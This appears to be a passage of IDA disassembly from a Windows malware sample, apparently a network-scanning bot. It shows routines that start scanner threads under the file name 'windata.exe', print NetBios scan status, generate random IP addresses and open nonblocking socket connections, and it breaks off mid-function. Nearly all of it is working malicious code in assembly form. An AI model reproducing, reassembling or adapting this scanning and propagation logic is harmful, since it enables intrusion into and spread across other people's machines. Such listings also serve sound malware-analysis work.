loc_40B085: ; CODE XREF: sub_40B075+Dj
add ecx, 234h
cmp ecx, offset dword_4D14E8
jl short loc_40B07C
retn
sub_40B075 endp
; =============== S U B R O U T I N E =======================================
sub_40B094 proc near ; CODE XREF: sub_40274D+2210p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_4444E8
push esi
loc_40B09E: ; CODE XREF: sub_40B094+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B0B7
add ecx, 234h
inc edx
cmp ecx, offset dword_4D14E8
jl short loc_40B09E
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B0B7: ; CODE XREF: sub_40B094+10j
mov eax, edx
pop esi
retn
sub_40B094 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0BB proc near ; CODE XREF: sub_40274D+10CEp
; sub_40274D+10E9p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B0D4
push [ebp+arg_1C]
call sub_41E7AD
pop ecx
loc_40B0D4: ; CODE XREF: sub_40B0BB+Ej
push eax
push [ebp+arg_18]
call sub_40B028
test eax, eax
pop ecx
pop ecx
jle short loc_40B100
push eax
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41E6A6
add esp, 14h
jmp short loc_40B11A
; ---------------------------------------------------------------------------
loc_40B100: ; CODE XREF: sub_40B0BB+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41E6A6
add esp, 10h
loc_40B11A: ; CODE XREF: sub_40B0BB+43j
cmp [ebp+arg_C], 0
jnz short loc_40B13A
push 0
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 14h
loc_40B13A: ; CODE XREF: sub_40B0BB+63j
lea eax, [ebp+var_200]
push eax
call sub_417D70
pop ecx
leave
retn
sub_40B0BB endp
; =============== S U B R O U T I N E =======================================
sub_40B149 proc near ; CODE XREF: sub_4025EF+14Cp
; seg000:004133CAp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
imul eax, 234h
xor ecx, ecx
mov ds:dword_4444FC[eax], ecx
mov ds:dword_4444E8[eax], ecx
mov ds:dword_4444EC[eax], ecx
mov ds:dword_4444F0[eax], ecx
mov ds:dword_4444F4[eax], ecx
mov ds:dword_4444F8[eax], ecx
mov byte ptr ds:dword_4442E8[eax], cl
mov ds:byte_444500[eax], cl
retn
sub_40B149 endp
; ---------------------------------------------------------------------------
aUnlMbS db 'Ul$Œì˜',0 ; DATA XREF: sub_40274D+275Fo
align 10h
dd 7C458B00h, 266A5756h, 8DF08B59h, 0A5F3DC7Dh, 0C76475FFh
dd 9480h, 100h, 6875FF00h, 50E0458Dh, 0E8DC75FFh, 0FFFFFD34h
dd 0E86075FFh, 0FFFFFF85h, 6A14C483h, 6815FF00h, 0CC0042B0h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1D0 proc near ; CODE XREF: sub_40B264+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
mov ecx, [edx]
push edi
xor edi, edi
and [ebp+var_8], edi
xor eax, eax
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B1F1
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B1F1: ; CODE XREF: sub_40B1D0+19j
push ebx
push esi
loc_40B1F3: ; CODE XREF: sub_40B1D0+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B201
cmp [ebp+var_4], eax
jnz short loc_40B249
loc_40B201: ; CODE XREF: sub_40B1D0+2Aj
test edi, edi
jnz short loc_40B23E
cmp bl, 2Dh
jnz short loc_40B232
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_40B232
cmp al, 5Dh
jz short loc_40B232
cmp [ebp+var_4], edi
jnz short loc_40B232
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B23E
cmp bl, al
jg short loc_40B23E
mov [edx], esi
jmp short loc_40B23B
; ---------------------------------------------------------------------------
loc_40B232: ; CODE XREF: sub_40B1D0+38j
; sub_40B1D0+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B23E
loc_40B23B: ; CODE XREF: sub_40B1D0+60j
xor edi, edi
inc edi
loc_40B23E: ; CODE XREF: sub_40B1D0+33j
; sub_40B1D0+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_40B1F3
; ---------------------------------------------------------------------------
loc_40B249: ; CODE XREF: sub_40B1D0+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B256
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B256: ; CODE XREF: sub_40B1D0+7Ej
cmp edi, eax
jnz short loc_40B25F
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B25F: ; CODE XREF: sub_40B1D0+88j
mov eax, edi
pop edi
leave
retn
sub_40B1D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B264 proc near ; CODE XREF: sub_40274D+7A0Fp
; sub_40B2F8+65p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_40B2C6
; ---------------------------------------------------------------------------
loc_40B270: ; CODE XREF: sub_40B264+66j
cmp eax, 1
jnz short loc_40B2D7
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B2D7
cmp cl, 2Ah
jz short loc_40B2AF
cmp cl, 3Fh
jz short loc_40B294
cmp cl, 5Bh
jz short loc_40B299
xor eax, eax
cmp cl, dl
setz al
loc_40B294: ; CODE XREF: sub_40B264+22j
inc [ebp+arg_4]
jmp short loc_40B2C2
; ---------------------------------------------------------------------------
loc_40B299: ; CODE XREF: sub_40B264+27j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
inc esi
push eax
mov [ebp+arg_0], esi
call sub_40B1D0
mov esi, [ebp+arg_0]
jmp short loc_40B2C0
; ---------------------------------------------------------------------------
loc_40B2AF: ; CODE XREF: sub_40B264+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B2F8
mov esi, [ebp+arg_0]
dec esi
loc_40B2C0: ; CODE XREF: sub_40B264+49j
pop ecx
pop ecx
loc_40B2C2: ; CODE XREF: sub_40B264+33j
inc esi
mov [ebp+arg_0], esi
loc_40B2C6: ; CODE XREF: sub_40B264+Aj
mov cl, [esi]
test cl, cl
jnz short loc_40B270
jmp short loc_40B2D7
; ---------------------------------------------------------------------------
loc_40B2CE: ; CODE XREF: sub_40B264+76j
cmp eax, 1
jnz short loc_40B2F3
inc esi
mov [ebp+arg_0], esi
loc_40B2D7: ; CODE XREF: sub_40B264+Fj
; sub_40B264+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_40B2CE
cmp eax, 1
jnz short loc_40B2F3
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B2F3
cmp byte ptr [esi], 0
jnz short loc_40B2F3
xor eax, eax
inc eax
jmp short loc_40B2F5
; ---------------------------------------------------------------------------
loc_40B2F3: ; CODE XREF: sub_40B264+6Dj
; sub_40B264+7Bj ...
xor eax, eax
loc_40B2F5: ; CODE XREF: sub_40B264+8Dj
pop esi
pop ebp
retn
sub_40B264 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F8 proc near ; CODE XREF: sub_40B264+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
inc dword ptr [esi]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
xor ebx, ebx
jmp short loc_40B327
; ---------------------------------------------------------------------------
loc_40B312: ; CODE XREF: sub_40B2F8+35j
mov cl, [eax]
cmp cl, 3Fh
jz short loc_40B323
cmp cl, 2Ah
jnz short loc_40B32F
cmp cl, 3Fh
jnz short loc_40B325
loc_40B323: ; CODE XREF: sub_40B2F8+1Fj
inc dword ptr [edi]
loc_40B325: ; CODE XREF: sub_40B2F8+29j
inc dword ptr [esi]
loc_40B327: ; CODE XREF: sub_40B2F8+18j
mov ecx, [edi]
cmp [ecx], bl
mov eax, [esi]
jnz short loc_40B312
loc_40B32F: ; CODE XREF: sub_40B2F8+24j
cmp byte ptr [eax], 2Ah
jnz short loc_40B33E
loc_40B334: ; CODE XREF: sub_40B2F8+44j
inc eax
mov ecx, eax
mov [esi], eax
cmp byte ptr [ecx], 2Ah
jz short loc_40B334
loc_40B33E: ; CODE XREF: sub_40B2F8+3Aj
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_40B35B
cmp [eax], bl
jz short loc_40B34E
xor eax, eax
jmp short loc_40B3C0
; ---------------------------------------------------------------------------
loc_40B34E: ; CODE XREF: sub_40B2F8+50j
cmp dl, bl
jnz short loc_40B35B
cmp [eax], bl
jnz short loc_40B35B
xor eax, eax
inc eax
jmp short loc_40B3C0
; ---------------------------------------------------------------------------
loc_40B35B: ; CODE XREF: sub_40B2F8+4Cj
; sub_40B2F8+58j ...
push ecx
push eax
call sub_40B264
test eax, eax
pop ecx
pop ecx
jnz short loc_40B3AA
loc_40B368: ; CODE XREF: sub_40B2F8+B0j
inc dword ptr [edi]
mov ecx, [esi]
mov eax, [edi]
mov cl, [ecx]
cmp cl, [eax]
jz short loc_40B38C
loc_40B374: ; CODE XREF: sub_40B2F8+92j
mov ecx, [esi]
cmp byte ptr [ecx], 5Bh
jz short loc_40B38C
cmp [eax], bl
jz short loc_40B3A1
inc eax
mov [edi], eax
mov ecx, [esi]
mov cl, [ecx]
mov edx, eax
cmp cl, [edx]
jnz short loc_40B374
loc_40B38C: ; CODE XREF: sub_40B2F8+7Aj
; sub_40B2F8+81j
cmp [eax], bl
jz short loc_40B3A1
push eax
push dword ptr [esi]
call sub_40B264
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B3A6
; ---------------------------------------------------------------------------
loc_40B3A1: ; CODE XREF: sub_40B2F8+85j
; sub_40B2F8+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B3A6: ; CODE XREF: sub_40B2F8+A7j
cmp eax, ebx
jnz short loc_40B368
loc_40B3AA: ; CODE XREF: sub_40B2F8+6Ej
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B3BD
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B3BD
mov [ebp+var_4], 1
loc_40B3BD: ; CODE XREF: sub_40B2F8+B6j
; sub_40B2F8+BCj
mov eax, [ebp+var_4]
loc_40B3C0: ; CODE XREF: sub_40B2F8+54j
; sub_40B2F8+61j
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3C5 proc near ; CODE XREF: sub_40274D+28E2p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_4328B8
push eax
xor ebx, ebx
call sub_41E6A6
cmp ds:dword_43D880, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B438
push esi
mov esi, offset dword_43D888
loc_40B3F8: ; CODE XREF: sub_40B3C5+70j
cmp dword ptr [esi], 0
jbe short loc_40B42E
mov eax, [esi]
push eax
add ebx, eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_4328AC
push eax
call sub_41E6A6
push edi
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push eax
call sub_41F2C0
add esp, 1Ch
loc_40B42E: ; CODE XREF: sub_40B3C5+36j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B3F8
pop esi
loc_40B438: ; CODE XREF: sub_40B3C5+2Bj
push ds:dword_4D1FD0
call sub_41D5F8
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41E6A6
push edi
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push eax
call sub_41F2C0
push 0
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_200]
push eax
call sub_417D70
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B3C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B494 proc near ; CODE XREF: sub_40274D+28CFp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, ds:dword_4D400C
mov ecx, ds:dword_4D4008
push esi
push ds:dword_4D1FD0
lea esi, [ecx+eax]
call sub_41D5F8
push eax
push esi
push ds:dword_4D400C
lea eax, [ebp+var_200]
push ds:dword_4D4008
push offset unk_4328D8
push eax
call sub_41E6A6
push 0
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_200]
push eax
call sub_417D70
add esp, 34h
pop esi
leave
retn
sub_40B494 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4FF proc near ; CODE XREF: sub_40274D+28BCp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push ds:dword_4D1FD0
call sub_41D5F8
push eax
push ds:dword_4D5258
lea eax, [ebp+var_200]
push offset unk_432920
push eax
call sub_41E6A6
push 0
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_200]
push eax
call sub_417D70
add esp, 2Ch
leave
retn
sub_40B4FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B553 proc near ; CODE XREF: sub_40274D+28A9p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41EA20
push edi
lea eax, [ebp+var_800]
push offset dword_43296C
push eax
call sub_41E6A6
cmp ds:dword_43D880, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B5BF
push esi
mov esi, offset aNetbios ; "NetBios"
loc_40B588: ; CODE XREF: sub_40B553+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_43295C
push eax
call sub_41E6A6
push edi
lea eax, [ebp+var_1000]
push eax
lea eax, [ebp+var_800]
push eax
call sub_41F2C0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B588
pop esi
loc_40B5BF: ; CODE XREF: sub_40B553+2Dj
push ds:dword_4D1FD0
call sub_41D5F8
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41E6A6
push edi
lea eax, [ebp+var_1000]
push eax
lea eax, [ebp+var_800]
push eax
call sub_41F2C0
push 0
push [ebp+arg_8]
lea eax, [ebp+var_800]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_800]
push eax
call sub_417D70
add esp, 34h
pop edi
leave
retn
sub_40B553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B619 proc near ; CODE XREF: sub_40274D+2224p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B075
test eax, eax
pop ecx
jle short loc_40B655
mov eax, [ebp+arg_C]
push ds:dword_4D1FF0[eax*8]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_4329A8
push eax
call sub_41E6A6
add esp, 0Ch
jmp short loc_40B668
; ---------------------------------------------------------------------------
loc_40B655: ; CODE XREF: sub_40B619+13j
lea eax, [ebp+var_200]
push offset unk_432988
push eax
call sub_41E6A6
pop ecx
pop ecx
loc_40B668: ; CODE XREF: sub_40B619+3Aj
push 0
push [ebp+arg_8]
lea eax, [ebp+var_200]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_200]
push eax
call sub_417D70
add esp, 18h
leave
retn
sub_40B619 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
cmp eax, 0FFFFFFFFh
jz locret_40BB49
push ebx
shl eax, 6
xor ebx, ebx
cmp ds:dword_43D88C[eax], ebx
jz loc_40BB48
push esi
push 5
call sub_40B075
test eax, eax
pop ecx
jnz loc_40B90A
mov eax, ds:dword_43C074
push edi
push 104h
mov esi, offset dword_4D470C
push esi
push ebx
mov ds:dword_4D491C, eax
mov ds:dword_4D4918, ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 103h
mov edi, offset aWindata_exe ; "windata.exe"
push edi
push offset dword_4D4810
call sub_41E860
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_4D4708, eax
mov eax, [ebp+140h]
mov ds:dword_4D49A0, eax
push 7Fh
jnz short loc_40B740
lea eax, [ebp+18h]
push eax
push offset dword_4D4920
call sub_41E860
mov ds:dword_4D49A4, 1
jmp short loc_40B757
; ---------------------------------------------------------------------------
loc_40B740: ; CODE XREF: seg000:0040B724j
lea eax, [ebp+98h]
push eax
push offset dword_4D4920
call sub_41E860
mov ds:dword_4D49A4, ebx
loc_40B757: ; CODE XREF: seg000:0040B73Ej
add esp, 0Ch
push esi
push ds:dword_4D491C
lea eax, [ebp-204h]
push offset unk_42F120
push eax
call sub_41E6A6
push ebx
lea eax, [ebp-204h]
push 5
push eax
call sub_40AE85
add esp, 1Ch
mov ds:dword_4D4914, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D4708
push offset aUnlMb ; "Ul$Γ|\b"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, ds:dword_4D4914
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz loc_40B85B
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset dword_432AC8
push eax
call sub_41E6A6
add esp, 0Ch
loc_40B7D5: ; CODE XREF: seg000:0040B863j
lea eax, [ebp-204h]
push eax
call sub_417D70
mov eax, ds:dword_4D1FE4
mov dword ptr [esp], 104h
mov esi, offset dword_4D4464
push esi
push ebx
mov ds:dword_4D4674, eax
mov ds:dword_4D4670, ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 103h
push edi
push offset dword_4D4568
call sub_41E860
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov ds:dword_4D4460, eax
mov eax, [ebp+140h]
pop edi
mov ds:dword_4D46F8, eax
push 7Fh
jnz short loc_40B868
lea eax, [ebp+18h]
push eax
push offset dword_4D4678
call sub_41E860
mov ds:dword_4D46FC, 1
jmp short loc_40B87F
; ---------------------------------------------------------------------------
loc_40B853: ; CODE XREF: seg000:0040B861j
push 32h
call ds:dword_42B014 ; Sleep
loc_40B85B: ; CODE XREF: seg000:0040B7B4j
cmp ds:dword_4D49A8, ebx
jz short loc_40B853
jmp loc_40B7D5
; ---------------------------------------------------------------------------
loc_40B868: ; CODE XREF: seg000:0040B837j
lea eax, [ebp+98h]
push eax
push offset dword_4D4678
call sub_41E860
mov ds:dword_4D46FC, ebx
loc_40B87F: ; CODE XREF: seg000:0040B851j
add esp, 0Ch
push esi
push ds:dword_4D4674
lea eax, [ebp-204h]
push offset unk_432A94
push eax
call sub_41E6A6
push ebx
lea eax, [ebp-204h]
push 4
push eax
call sub_40AE85
add esp, 1Ch
mov ds:dword_4D466C, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D4460
push offset aUnlMbP ; "Ul$Γp\n"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, ds:dword_4D466C
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz loc_40B983
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_432A60
push eax
call sub_41E6A6
add esp, 0Ch
loc_40B8FD: ; CODE XREF: seg000:0040B98Bj
lea eax, [ebp-204h]
push eax
call sub_417D70
pop ecx
loc_40B90A: ; CODE XREF: seg000:0040B6C5j
mov eax, [ebp+138h]
mov ecx, eax
shl ecx, 6
cmp ds:dword_43D894[ecx], ebx
jz loc_40BA37
push 7
call sub_40B075
test eax, eax
pop ecx
jnz loc_40BA31
cmp [ebp+98h], bl
mov eax, ds:dword_4D525C
mov ds:dword_4D43CC, eax
mov eax, [ebp+118h]
mov ds:dword_4D43C0, eax
mov eax, [ebp+140h]
mov ds:dword_4D43C8, ebx
mov ds:dword_4D4450, eax
push 7Fh
jnz short loc_40B990
lea eax, [ebp+18h]
push eax
push offset dword_4D43D0
call sub_41E860
mov ds:dword_4D4454, 1
jmp short loc_40B9A7
; ---------------------------------------------------------------------------
loc_40B97B: ; CODE XREF: seg000:0040B989j
push 32h
call ds:dword_42B014 ; Sleep
loc_40B983: ; CODE XREF: seg000:0040B8DCj
cmp ds:dword_4D4700, ebx
jz short loc_40B97B
jmp loc_40B8FD
; ---------------------------------------------------------------------------
loc_40B990: ; CODE XREF: seg000:0040B95Fj
lea eax, [ebp+98h]
push eax
push offset dword_4D43D0
call sub_41E860
mov ds:dword_4D4454, ebx
loc_40B9A7: ; CODE XREF: seg000:0040B979j
add esp, 0Ch
push ds:dword_4D43CC
lea eax, [ebp-204h]
push offset unk_432A30
push eax
call sub_41E6A6
push ebx
lea eax, [ebp-204h]
push 7
push eax
call sub_40AE85
add esp, 18h
mov ds:dword_4D43C4, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D43C0
push offset word_411722
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, ds:dword_4D43C4
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz loc_40BB53
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_4329F8
push eax
call sub_41E6A6
add esp, 0Ch
loc_40BA24: ; CODE XREF: seg000:0040BB5Bj
lea eax, [ebp-204h]
push eax
call sub_417D70
pop ecx
loc_40BA31: ; CODE XREF: seg000:0040B92Bj
mov eax, [ebp+138h]
loc_40BA37: ; CODE XREF: seg000:0040B91Bj
shl eax, 6
cmp ds:dword_43D890[eax], ebx
jz loc_40BB47
push 3
call sub_40B075
test eax, eax
pop ecx
jnz loc_40BB47
push 104h
mov esi, offset dword_4D429C
push esi
push ebx
call ds:dword_42B00C ; GetModuleFileNameA
push 5Ch
push esi
call sub_41EE50
cmp eax, ebx
pop ecx
pop ecx
jz short loc_40BA78
mov [eax], bl
loc_40BA78: ; CODE XREF: seg000:0040BA74j
mov eax, ds:dword_43C078
mov ds:dword_4D43A0, eax
lea eax, [ebp+18h]
push eax
push offset dword_4D4014
mov ds:dword_4D43B4, ebx
call sub_41E6A6
mov eax, [ebp+118h]
pop ecx
pop ecx
mov ecx, [ebp+140h]
push esi
push ds:dword_4D43A0
mov ds:dword_4D43AC, ecx
mov ecx, [ebp+144h]
push eax
mov ds:dword_4D4010, eax
mov ds:dword_4D43B0, ecx
call sub_4023C9
pop ecx
push eax
lea eax, [ebp-204h]
push offset unk_42F0A8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_40AE85
add esp, 20h
mov ds:dword_4D43A8, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4D4010
push offset byte_412DD9
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, ds:dword_4D43A8
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_40BB68
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_4329C4
push eax
call sub_41E6A6
add esp, 0Ch
loc_40BB3A: ; CODE XREF: seg000:0040BB70j
lea eax, [ebp-204h]
push eax
call sub_417D70
pop ecx
loc_40BB47: ; CODE XREF: seg000:0040BA40j
; seg000:0040BA50j
pop esi
loc_40BB48: ; CODE XREF: seg000:0040B6B4j
pop ebx
locret_40BB49: ; CODE XREF: seg000:0040B6A2j
leave
retn
; ---------------------------------------------------------------------------
loc_40BB4B: ; CODE XREF: seg000:0040BB59j
push 32h
call ds:dword_42B014 ; Sleep
loc_40BB53: ; CODE XREF: seg000:0040BA03j
cmp ds:dword_4D4458, ebx
jz short loc_40BB4B
jmp loc_40BA24
; ---------------------------------------------------------------------------
loc_40BB60: ; CODE XREF: seg000:0040BB6Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_40BB68: ; CODE XREF: seg000:0040BB1Dj
cmp ds:dword_4D43BC, ebx
jz short loc_40BB60
jmp short loc_40BB3A
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push esi
mov esi, [ebp+8]
push 4
lea esi, ds:4D1FF0h[esi*8]
lea eax, [ebp+8]
push esi
push eax
call sub_41F400
add esp, 0Ch
push dword ptr [ebp+8]
call ds:dword_4441DC ; htonl
inc eax
push eax
mov [ebp+8], eax
call ds:dword_444234 ; htonl
mov [ebp+8], eax
push 4
lea eax, [ebp+8]
push eax
push esi
call sub_41F400
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
push dword ptr [ebp+8]
or esi, 0FFFFFFFFh
mov [ebp-0Ch], esi
mov [ebp-8], esi
mov [ebp-4], esi
mov [ebp-10h], esi
call sub_41E1C0
cmp eax, 0Fh
pop ecx
jbe short loc_40BBE2
xor eax, eax
jmp short loc_40BC53
; ---------------------------------------------------------------------------
loc_40BBE2: ; CODE XREF: seg000:0040BBDCj
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-0Ch]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push dword ptr [ebp+8]
call sub_41F73D
add esp, 18h
cmp [ebp-0Ch], esi
jnz short loc_40BC0F
call sub_41ECDE
mov [ebp-0Ch], eax
loc_40BC0F: ; CODE XREF: seg000:0040BC05j
cmp [ebp-8], esi
jnz short loc_40BC1C
call sub_41ECDE
mov [ebp-8], eax
loc_40BC1C: ; CODE XREF: seg000:0040BC12j
cmp [ebp-4], esi
jnz short loc_40BC29
call sub_41ECDE
mov [ebp-4], eax
loc_40BC29: ; CODE XREF: seg000:0040BC1Fj
mov eax, [ebp-10h]
cmp eax, esi
jnz short loc_40BC35
call sub_41ECDE
loc_40BC35: ; CODE XREF: seg000:0040BC2Ej
mov ecx, [ebp-0Ch]
shl eax, 8
add eax, [ebp-4]
shl eax, 8
add eax, [ebp-8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+0Ch]
mov ds:dword_4D1FF0[ecx*8], eax
loc_40BC53: ; CODE XREF: seg000:0040BBE0j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BC56 proc near ; CODE XREF: sub_41AA0A+2Cp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push ebx
inc edi
push edi
push 2
mov [ebp+var_4], edi
call ds:dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40BC7F
xor eax, eax
jmp short loc_40BCEE
; ---------------------------------------------------------------------------
loc_40BC7F: ; CODE XREF: sub_40BC56+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call ds:dword_444260 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call ds:dword_444094 ; ioctlsocket
push 10h
lea eax, [ebp+var_1C]
push eax
push esi
call ds:dword_4440AC ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
push ebx
lea eax, [ebp+var_120]
push eax
push ebx
push ebx
mov [ebp+var_8], ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
